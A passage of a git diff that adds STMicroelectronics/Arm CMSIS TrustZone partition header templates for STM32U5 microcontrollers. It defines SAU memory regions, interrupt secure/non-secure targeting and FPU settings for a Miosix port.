EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// OTG_HS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..127 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT3_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DMA2D_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT4_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT5_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// I2C5_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 128..138) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 128..139 +// I2C5_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_EV_IRQn <0=> Secure state <1=> Non-Secure state +// HSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_ER_IRQn <0=> Secure state <1=> Non-Secure state +// GFXMMU_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_ER_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE2_IRQn <0=> Secure state <1=> Non-Secure state +// GFXTIM_IRQn <0=> Secure state <1=> Non-Secure state +// JPEG_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32U5F7XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5f9xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5f9xx.h new file mode 100644 index 000000000..4d26762e6 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u5f9xx.h @@ -0,0 +1,691 @@ +/** + ****************************************************************************** + * @file partition_stm32u5f9xx.h + * @author MCD Application Team + * @brief CMSIS STM32U5F9xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U5F9XX_H +#define PARTITION_STM32U5F9XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C1FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C1FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08200000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x083FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x200D0000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x202EFFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0xAFFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// OTG_HS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..127 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT3_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> 